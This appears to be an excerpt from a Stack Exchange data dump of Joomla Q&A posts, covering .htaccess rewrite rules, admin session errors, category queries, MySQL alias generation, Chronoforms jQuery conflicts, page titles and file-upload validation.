below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;##&#xA;# @package    Joomla&#xA;# @copyright  Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved.&#xA;# @license    GNU General Public License version 2 or later; see LICENSE.txt&#xA;##&#xA;&#xA;##&#xA;# READ THIS COMPLETELY IF YOU CHOOSE TO USE THIS FILE!&#xA;#&#xA;# The line just below this section: 'Options +FollowSymLinks' may cause problems&#xA;# with some server configurations.  It is required for use of mod_rewrite, but may already&#xA;# be set by your server administrator in a way that dissallows changing it in&#xA;# your .htaccess file.  If using it causes your server to error out, comment it out (add # to&#xA;# beginning of line), reload your site in your browser and test your sef url's.  If they work,&#xA;# it has been set by your server administrator and you do not need it set here.&#xA;##&#xA;&#xA;## Can be commented out if causes errors, see notes above.&#xA;Options +FollowSymLinks&#xA;&#xA;## Mod_rewrite in use.&#xA;&#xA;RewriteEngine On&#xA;&#xA;## Begin - Rewrite rules to block out some common exploits.&#xA;# If you experience problems on your site block out the operations listed below&#xA;# This attempts to block the most common type of exploit `attempts` to Joomla!&#xA;#&#xA;# Block out any script trying to base64_encode data within the URL.&#xA;RewriteCond %{QUERY_STRING} base64_encode[^(]*\([^)]*\) [OR]&#xA;# Block out any script that includes a &amp;lt;script&amp;gt; tag in URL.&#xA;RewriteCond %{QUERY_STRING} (&amp;lt;|%3C)([^s]*s)+cript.*(&amp;gt;|%3E) [NC,OR]&#xA;# Block out any script trying to set a PHP GLOBALS variable via URL.&#xA;RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]&#xA;# Block out any script trying to modify a _REQUEST variable via URL.&#xA;RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})&#xA;# Return 403 Forbidden header and show the content of the root homepage&#xA;RewriteRule .* index.php [F]&#xA;#&#xA;## End - Rewrite rules to block out some common exploits.&#xA;&#xA;## Begin - Custom redirects&#xA;&#xA;IndexIgnore *&#xA;Options -Indexes&#xA;&#xA;#Force non-www:&#xA;#RewriteEngine on&#xA;#RewriteCond %{HTTP_HOST} ^www\.domain\.com [NC]&#xA;#RewriteRule ^(.*)$ https://domain.com/$1 [L,R=301]&#xA;&#xA;#Force www:&#xA;#RewriteCond %{HTTP_HOST} ^domain.com [NC]&#xA;#RewriteRule ^(.*)$ http://www.domain.com/$1 [L,R=301,NC]&#xA;&#xA;### Rewrite sitemap url&#xA;RewriteRule ^sitemap.xml$ index.php?option=com_osmap&amp;amp;view=xml&amp;amp;tmpl=component&amp;amp;id=1 [L]&#xA;&#xA;#&#xA;# If you need to redirect some pages, or set a canonical non-www to&#xA;# www redirect (or vice versa), place that code here. Ensure those&#xA;# redirects use the correct RewriteRule syntax and the [R=301,L] flags.&#xA;#&#xA;## End - Custom redirects&#xA;##&#xA;# Uncomment following line if your webserver's URL&#xA;# is not directly related to physical file paths.&#xA;# Update Your Joomla! Directory (just / for root).&#xA;##&#xA;&#xA;&#xA;RewriteBase /&#xA;&#xA;## Begin - Joomla! core SEF Section.&#xA;#&#xA;RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]&#xA;#&#xA;# If the requested path and file is not /index.php and the request&#xA;# has not already been internally rewritten to the index.php script&#xA;RewriteCond %{REQUEST_URI} !^/index\.php&#xA;# and the requested path and file doesn't directly match a physical file&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;# and the requested path and file doesn't directly match a physical folder&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;# internally rewrite the request to the index.php script&#xA;RewriteRule .* index.php [L]&#xA;#&#xA;## End - Joomla! core SEF Section.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there anyway I can trouble shoot this issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance.&#xA;Donna&lt;/p&gt;&#xA;" OwnerUserId="7973" LastEditorUserId="7973" LastEditDate="2018-06-27T12:42:22.740" LastActivityDate="2018-06-30T14:11:23.043" Title="sitemap.xml rewrite rule no longer working" Tags="|joomla-3.x|.htaccess-configuration|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23067" PostTypeId="1" AcceptedAnswerId="26674" CreationDate="2018-06-27T15:55:35.070" Score="1" ViewCount="1920" Body="&lt;p&gt;I was having difficulty with a Joomla! site and decided to move it to another server for testing. The Akeeba backup I had would not fully extract for some reason (a large backup file included in the backup), so I downloaded all 30k+ files manually via FTP and uploaded them directly to the new server. I, also, backed up the database via phpMyAdmin and restored it to the new server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I access the front-end of the website, everything loads and works as it should. However, when I access the &lt;code&gt;administrator&lt;/code&gt;, I receive the following message after logging in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Failed to start the session because headers have already been sent by &quot;/home/userfolder/public_html/plugins/system/statusindicator/statusindicator.php&quot; at line 169.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I cannot access any &lt;code&gt;administrator&lt;/code&gt; pages after logging in. I've tried installing the Joomla! core over the top and that did not fix it. I've, also, tried resetting the db credentials and that did not fix it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could be the issue causing this error?&lt;/p&gt;&#xA;" OwnerUserId="5638" LastActivityDate="2020-01-22T18:40:56.913" Title="&quot;Headers Have Already Been Sent&quot;" Tags="|joomla-3.x|administrator|session|fatal-error|header|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="23068" PostTypeId="2" ParentId="23066" CreationDate="2018-06-28T02:16:34.567" Score="2" Body="&lt;p&gt;Since you said it was in the root folder, try adding this below the RewriteEngine On:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteBase / &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I double checked CloudAccess's documentation and they mention that step is needed as well: &lt;a href=&quot;https://www.cloudaccess.net/additional-resources/87-error-messages/206-url-error-removing-index-php-from-a-url.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.cloudaccess.net/additional-resources/87-error-messages/206-url-error-removing-index-php-from-a-url.html&lt;/a&gt;&#xA; &lt;br/&gt;&#xA;&lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&#xA;You need to move your redirect above the condition that contains this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{QUERY_STRING} (&amp;lt;|%3C)([^s]*s)+cript.*(&amp;gt;|%3E) [NC,OR]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;when I posted your htaccess and tested on &lt;a href=&quot;https://htaccess.madewithlove.be/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://htaccess.madewithlove.be/&lt;/a&gt;, that line was catching so it wasn't getting to your rule: &#xA;&lt;a href=&quot;https://i.stack.imgur.com/eZdTT.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/eZdTT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When putting it at the top, right under the rewrite's, it should work.&lt;/p&gt;&#xA;" OwnerUserId="464" LastEditorUserId="464" LastEditDate="2018-06-30T14:11:23.043" LastActivityDate="2018-06-30T14:11:23.043" CommentCount="10" ContentLicense="CC BY-SA 4.0" />
  <row Id="23072" PostTypeId="1" CreationDate="2018-06-28T12:07:25.437" Score="1" ViewCount="514" Body="&lt;p&gt;I know I can get the &lt;code&gt;category id&lt;/code&gt; and &lt;code&gt;parent category id&lt;/code&gt;, but what I really want is a category and any child categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm making a group of articles and I want to do an &lt;strong&gt;override&lt;/strong&gt; to &lt;strong&gt;add a class&lt;/strong&gt; to all articles in a category and all child categories, no matter how many child categories I add.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that possible?  I don't want to do &lt;code&gt;IF parent category id OR parent category id OR parent category id&lt;/code&gt; because if I do that I'll have to update it every time I add a new category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to know an article categories and all subcategories&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked out this article but it's not really the whole solution &lt;a href=&quot;https://stackoverflow.com/questions/43647327/get-joomla-parent-category-id&quot;&gt;https://stackoverflow.com/questions/43647327/get-joomla-parent-category-id&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2018-06-29T14:41:51.330" Title="if article is part of category or any of it's children" Tags="|category|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23073" PostTypeId="1" AcceptedAnswerId="23137" CreationDate="2018-06-28T14:13:42.733" Score="0" ViewCount="142" Body="&lt;p&gt;Due to a process issue (i.e. client not following instructions) I have over 900 urls with missing aliases in a mosets tree table. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If possible I would like to create an SQL query that will generate an alias from the &lt;code&gt;link_title&lt;/code&gt; by selecting, say, the first 3-5 words and obviously removing any numbers and special characters, replacing spaces with a - and making all characters lowercase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My MySQL skills really aren't great, but so far I have created a select query for testing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT SUBSTRING_INDEX(`link_name`, ' ', 5) AS linkalias FROM `m5cob_mt_links`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course, I'd need to convert the finalised query into an update of some description. Could anyone provide any advice, or let me know if there is an easier way to populate all of the missing aliases?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Relevant portion of the SQL schema and data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CREATE TABLE `m5cob_mt_links` (&#xA;  `link_id` int(11) NOT NULL,&#xA;  `link_name` varchar(255) NOT NULL,&#xA;  `alias` varchar(255) NOT NULL&#xA;) ENGINE=MyISAM DEFAULT CHARSET=utf8;&#xA;&#xA;INSERT INTO `m5cob_mt_links` (`link_id`, `link_name`, `alias`) VALUES&#xA;(6, 'Convivio Bar &amp;amp; Restaurant Chester Cheshire UK', ''),&#xA;(7, 'Slug and Lettuce Chester Cheshire UK', ''),&#xA;(8, 'Da Rosa Restaurant &amp;amp; Wine Bar Torrevieja Costa Blanca Spain', ''),&#xA;(9, 'Bar Lounge Chester Cheshire UK', ''),&#xA;(10, 'Telfords Warehouse Chester Cheshire UK', ''),&#xA;(11, 'The Botanist Chester Cheshire UK', ''),&#xA;(12, 'Missoula Chester Cheshire UK', ''),&#xA;(13, 'Fiesta Havana Chester Cheshire UK', ''),&#xA;(14, 'El Oceano Hotel Restaurant, Torrenueva, Marbella, Malaga', ''),&#xA;(15, 'La Plaza Restaurant Riviera del Sol Mijas Costa Malaga Spain', '');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So as an example, the first row of data has a &lt;code&gt;link_name&lt;/code&gt; of &lt;code&gt;Convivio Bar &amp;amp; Restaurant Chester Cheshire UK&lt;/code&gt;. With the query, I would like to populate the &lt;code&gt;alias&lt;/code&gt; as &lt;code&gt;convivio-bar-restaurant-chester-cheshire&lt;/code&gt; thus taking the first 5 words, removing the capitalisation and punctuation and replacing the spaces with '-'.&lt;/p&gt;&#xA;" OwnerUserId="7973" LastEditorUserId="12352" LastEditDate="2018-07-13T06:50:36.047" LastActivityDate="2018-07-17T11:43:31.780" Title="How to generate missing column data using a reformatted substring of another column?" Tags="|joomla-3.x|mysql|" AnswerCount="2" CommentCount="10" ContentLicense="CC BY-SA 4.0" />
  <row Id="23075" PostTypeId="1" AcceptedAnswerId="26649" CreationDate="2018-06-29T07:38:30.993" Score="3" ViewCount="352" Body="&lt;p&gt;I faced a problem in &lt;strong&gt;Joomla 3&lt;/strong&gt;. For example, I try to add a &lt;strong&gt;JavaScript&lt;/strong&gt; file with auto-version option:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('script', '/path/to/script.js', array('version' =&amp;gt; 'auto'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works. &lt;strong&gt;CMS&lt;/strong&gt; adds to &lt;strong&gt;HTML&lt;/strong&gt; something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script src=&quot;/path/to/script.js?1e1d67808f340bae20c17f7434590e08&quot; type=&quot;text/javascript&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when I modify this file, this version remains the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found in core classes &lt;strong&gt;Document&lt;/strong&gt; and &lt;strong&gt;Version&lt;/strong&gt; and methods for manipulations with &lt;strong&gt;MediaVersion&lt;/strong&gt;, but it clarified nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, my question. How does it works. How this version refreshes?&lt;/p&gt;&#xA;" OwnerUserId="12430" LastActivityDate="2020-02-14T21:02:45.407" Title="Joomla 3. How does MediaVersion works?" Tags="|versions|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23076" PostTypeId="2" ParentId="22616" CreationDate="2018-06-29T07:43:47.147" Score="3" Body="&lt;p&gt;In my opinion, the best approach is to use a custom plugin, that will be called using &lt;a href=&quot;https://docs.joomla.org/Using_Joomla_Ajax_Interface&quot; rel=&quot;nofollow noreferrer&quot;&gt;com_ajax interface&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It doesn't have to be a 'system' plugin, it can be any group, as it will be specified in url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for example, you can use the url: index.php?option=com_ajax&amp;amp;group=mycompany&amp;amp;plugin=getmyresponse&amp;amp;format=json&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, it the corresponding plugin would be :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;plugins/mycompany/myplugin/myplugin.xml&#xA;plugins/mycompany/myplugin/myplugin.php&#xA;&#xA;&amp;lt;?php&#xA;defined('_JEXEC') or die;&#xA;&#xA;// Import library dependencies&#xA;jimport('joomla.plugin.plugin');&#xA;&#xA;final class PlgMycompanyMyplugin extends JPlugin&#xA;{&#xA;  public function onAjaxGetMyResponse()&#xA;  {&#xA;    // do your thing&#xA;    $data = array('a' =&amp;gt; 234);&#xA;    echo new \Joomla\CMS\Response\JsonResponse(data);&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12604" LastActivityDate="2018-06-29T07:43:47.147" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23078" PostTypeId="2" ParentId="23072" CreationDate="2018-06-29T07:47:32.533" Score="2" Body="&lt;p&gt;I faced a similar problem a while ago and not coming up with a good answer I came up with a straight forward messy answer. Behold:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public static function isArticleIdInThisCategoryId($article_id,$category_id)&#xA;{&#xA;    if(!$article_id){return false;}&#xA;&#xA;    $db = JFactory::getDbo();&#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;    $query-&amp;gt;select('a.catid AS parent1,b.parent_id AS parent2,c.parent_id AS parent3,d.parent_id AS parent4,');&#xA;    $query-&amp;gt;from($db-&amp;gt;qn('#__content','a'));&#xA;    $query-&amp;gt;join('LEFT',$db-&amp;gt;qn('#__categories', 'b') . ' ON (' . $db-&amp;gt;qn('a.catid') . ' = ' . $db-&amp;gt;qn('b.id') . ')');&#xA;    $query-&amp;gt;join('LEFT',$db-&amp;gt;qn('#__categories', 'c') . ' ON (' . $db-&amp;gt;qn('b.parent_id') . ' = ' . $db-&amp;gt;qn('c.id') . ')');&#xA;    $query-&amp;gt;join('LEFT',$db-&amp;gt;qn('#__categories', 'd') . ' ON (' . $db-&amp;gt;qn('c.parent_id') . ' = ' . $db-&amp;gt;qn('d.id') . ')');&#xA;    $query-&amp;gt;where($db-&amp;gt;qn('a.id') . &quot; = &quot; . $db-&amp;gt;q($article_id));&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $result = $db-&amp;gt;loadAssoc();&#xA;&#xA;    if(empty($result)){&#xA;        return false;&#xA;    }&#xA;&#xA;    for ($i=1; $i &amp;lt;= 4; $i++) { &#xA;        if(!empty($result['parent' . $i]) &amp;amp;&amp;amp; $result['parent' . $i] == $category_id){&#xA;            return true;&#xA;        }&#xA;    }&#xA;    return false;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's a public static function because i had it in a helper class, but hopefully you can see the idea.  Also note it only goes 4 parent categories deep, but should be easier enough to make deeper if needed.&lt;/p&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2018-06-29T07:47:32.533" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23079" PostTypeId="2" ParentId="23072" CreationDate="2018-06-29T14:41:51.330" Score="2" Body="&lt;p&gt;Database method when you want to check against one category and all its children. Where &lt;code&gt;$categoryId&lt;/code&gt; is your specified category.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Get child category IDs&#xA;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true)&#xA;    -&amp;gt;select('sub.id')&#xA;    -&amp;gt;from('#__categories as sub')&#xA;    -&amp;gt;join('INNER', '#__categories as this ON sub.lft &amp;gt; this.lft AND sub.rgt &amp;lt; this.rgt')&#xA;    -&amp;gt;where('this.id = ' . (int) $categoryId);&#xA;$db-&amp;gt;setQuery($query);&#xA;$categoryIds = $db-&amp;gt;loadColumn();&#xA;// Add top category too.&#xA;$categoryIds[] = $categoryId;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, when displaying the article, add this check:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (in_array($this-&amp;gt;item-&amp;gt;catid, $categoryIds)) : ?&amp;gt;&#xA;    &amp;lt;?php // Article is in one of the categories, do stuff ?&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2018-06-29T14:41:51.330" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23080" PostTypeId="1" CreationDate="2018-06-29T16:45:55.090" Score="1" ViewCount="261" Body="&lt;p&gt;I have an issue with Chronoforms6. I'm using jQuery in my template and include a Chronoforms form in an article by using this shortcode &lt;code&gt;{chronoforms6}myForm{/chronoforms6}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue is a this error from Chronoforms &lt;strong&gt;&lt;em&gt;jQuery.G2 is undefined&lt;/em&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I deactivate my included jQuery script, Chronoforms works perfect, but my functions won't run anymore, cause for them jQuery is know undefined. &#xA;I believe this is cause my scripts from the template are loaded before the jQuery from Chronoforms, but who can I change this? Or how do I do this better?&lt;/p&gt;&#xA;" OwnerUserId="11248" LastActivityDate="2019-08-29T19:02:15.253" Title="Chronoforms 6: jQuery.G2 is undefined" Tags="|jquery|chronoforms|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23081" PostTypeId="2" ParentId="23080" CreationDate="2018-06-29T16:59:16.520" Score="1" Body="&lt;p&gt;I've found solution for me by starting every script that uses jQuery with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function($) { //my awesome script });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Further I had to change the &lt;strong&gt;$&lt;/strong&gt; to &lt;strong&gt;jQuery&lt;/strong&gt; in the whole &lt;strong&gt;bootstrap.bundle.js&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that everything runs without an error, but for me, this doesn't seem to be a clean solution. I would appreciate further advice.&lt;/p&gt;&#xA;" OwnerUserId="11248" LastActivityDate="2018-06-29T16:59:16.520" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23082" PostTypeId="1" AcceptedAnswerId="23084" CreationDate="2018-06-30T11:30:47.983" Score="0" ViewCount="28" Body="&lt;p&gt;I have problem with plugin description translation. After first install the description is not translated. After second install (without uninstalling) the description is translated. Where is problem?&lt;/p&gt;&#xA;" OwnerUserId="12674" LastActivityDate="2018-06-30T18:10:12.027" Title="Plugin description translation" Tags="|plugin|installation|joomla3.8|system-plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23083" PostTypeId="1" CreationDate="2018-06-30T15:18:56.543" Score="0" ViewCount="829" Body="&lt;p&gt;How kann I avoid a redirect after submiting a form and show the success message? Seems to be unusual, cause I haven't found much info about it.&lt;/p&gt;&#xA;" OwnerUserId="11248" LastActivityDate="2024-04-06T22:08:46.257" Title="Chronoforms 6: No redirect after submit and show message" Tags="|chronoforms|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23084" PostTypeId="2" ParentId="23082" CreationDate="2018-06-30T18:10:12.027" Score="-1" Body="&lt;p&gt;Problem solved. The problem was in missing plg_system_name.sys.ini file.&lt;/p&gt;&#xA;" OwnerUserId="12674" LastActivityDate="2018-06-30T18:10:12.027" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23085" PostTypeId="2" ParentId="18455" CreationDate="2018-07-01T04:17:29.363" Score="0" Body="&lt;p&gt;My website uses K2 as the default article manager; and the title on my homepage is a link to the K2 homepage category. I have tried to change the title on the homepage, but it's not possible via K2 config or web template.  However, I found a way...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My solution is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go to menu manager. My homepage menu points to K2 homepage categories. I change it back to basic Joomla home page article or categories and change page title to show what I want, then Save it.&lt;/li&gt;&#xA;&lt;li&gt;Change homepage menu to point to the K2 homepage article as before. The home page title that you like is still there.  That's it.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12676" LastEditorUserId="12352" LastEditDate="2018-07-02T01:37:57.450" LastActivityDate="2018-07-02T01:37:57.450" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23086" PostTypeId="2" ParentId="23049" CreationDate="2018-07-01T08:26:40.123" Score="1" Body="&lt;p&gt;If you have a multilingual site and your articles are associated, enable &lt;code&gt;Show Associations&lt;/code&gt; option in &lt;code&gt;com_content&lt;/code&gt; configuration.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2018-07-01T08:26:40.123" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23088" PostTypeId="1" AcceptedAnswerId="23089" CreationDate="2018-07-01T17:11:58.817" Score="4" ViewCount="53" Body="&lt;p&gt;I'm working on a tool that imports content for a new language. As part of that process, I'm creating a copy of a template style specific to the new language. After making a copy of the template style and setting certain values in the new template style, I also need to change which menu items are associated with the template. In the admin interface, it's easy to see and set these associations, but I can't seem to find where they are stored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know which table(s) the associations are stored in, or if there is a Joomla function to call to set/unset associations between a template style and menu items?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="10969" LastActivityDate="2018-07-01T19:59:36.650" Title="How is the relationship between template styles and menus stored in Joomla 3.x?" Tags="|joomla-3.x|php|development|templates|menu-item|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23089" PostTypeId="2" ParentId="23088" CreationDate="2018-07-01T19:59:36.650" Score="5" Body="&lt;p&gt;&lt;code&gt;template_style_id&lt;/code&gt; column in &lt;code&gt;#__menu&lt;/code&gt; table.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2018-07-01T19:59:36.650" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23090" PostTypeId="2" ParentId="23083" CreationDate="2018-07-02T00:07:22.400" Score="0" Body="&lt;p&gt;ChronoForms doesn't do anything after the form is submitted unless you add action(s) under the submit tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under Basic actions there is a &quot;Message&quot; action that displays a message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under Basic actions there is a &quot;Redirect&quot; action where you can specify a url to redirect to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It sounds like you may need to delete the Redirect action and add a Message action.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Including a screen capture in your question might help diagnose the problem.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2018-07-02T00:07:22.400" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23091" PostTypeId="1" CreationDate="2018-07-02T07:33:41.620" Score="1" ViewCount="133" Body="&lt;p&gt;Can anyone help me how to change the structure of Joomla browser title page? I couldn't find the code structure. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As we all know that whatever info we put in the Menu &quot;Page display&quot; tab &quot;Browser page title&quot;, it will always show the following format in the url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(site name) - (browser page title info written in their respective menu)&#xA;eg. abcnews - home page information&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I want to change the above info in the following format:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;eg. home page information | abcnews&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now how I am going to do it? How I am going the change the structure? If I know the file where this code is coming from then I can do it. So need help on this.&lt;/p&gt;&#xA;" OwnerUserId="4096" LastActivityDate="2018-08-02T00:01:02.337" Title="How to change browser page title structure" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23092" PostTypeId="1" CreationDate="2018-07-02T07:41:49.830" Score="1" ViewCount="104" Body="&lt;p&gt;In joomla or core php when we upload any file it validate only extension on file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Issue is that when i am changed the extension of an .exe file to pdf/jpg it gets uploaded.&#xA;And validation failed.&#xA;Can any one tell me how i can put validation for this condition in php or Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="12592" LastActivityDate="2018-09-01T12:01:09.580" Title="validate file type in joomla or core php" Tags="|file-upload|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23093" PostTypeId="2" ParentId="23091" CreationDate="2018-07-02T23:13:54.787" Score="2" Body="&lt;p&gt;Firstly, for completeness, the position and display of the site title can be manipulated in the global configuration. But this only allows for three options: show before, show after, don't show.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For programmatic manipulation of the page title, you can get and set the JDocument object's property 'title'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hence with a system plugin you can do the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class plgSystemRandomname extends JPlugin {&#xA;&#xA;    public function onBeforeCompileHead() {&#xA;&#xA;        $app = JFactory::getApplication();&#xA;&#xA;        // Only manipulate the title if this is the Frontend&#xA;        if(!$app-&amp;gt;isClient('site')){&#xA;            return;&#xA;        }&#xA;&#xA;        $document = JFactory::getDocument();&#xA;&#xA;        $original = $document-&amp;gt;title;&#xA;&#xA;        // Do what ever you like&#xA;&#xA;        $document-&amp;gt;title = $new_title;&#xA;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2018-07-02T23:13:54.787" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23094" PostTypeId="2" ParentId="22791" CreationDate="2018-07-02T23:59:20.563" Score="1" Body="&lt;p&gt;Just a thought, if you are only looking to change the words 'About Us' have you looked at creating a language override? Extensions &gt; Languages &gt; Overrides &gt; New. Then in the bottom right make sure 'Value' is selected and type in 'About Us' to search for the language constant. You can then change it to what ever you want.&lt;/p&gt;&#xA;" OwnerUserId="7973" LastActivityDate="2018-07-02T23:59:20.563" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23095" PostTypeId="2" ParentId="23092" CreationDate="2018-07-03T08:11:56.237" Score="1" Body="&lt;p&gt;If you turn on the &quot;Restrict Uploads&quot; setting in the Options of the Media component, then Joomla will try to check for the real file type. However, please note that the check will fail if you don't have PECL library or the MIME Magic library installed. See &lt;a href=&quot;https://www.itoctopus.com/invalid-mime-type-detected-error-when-trying-to-upload-a-pdf-file-in-joomla-media-manager&quot; rel=&quot;nofollow noreferrer&quot;&gt;this post&lt;/a&gt; about this.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2018-07-03T08:11:56.237" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
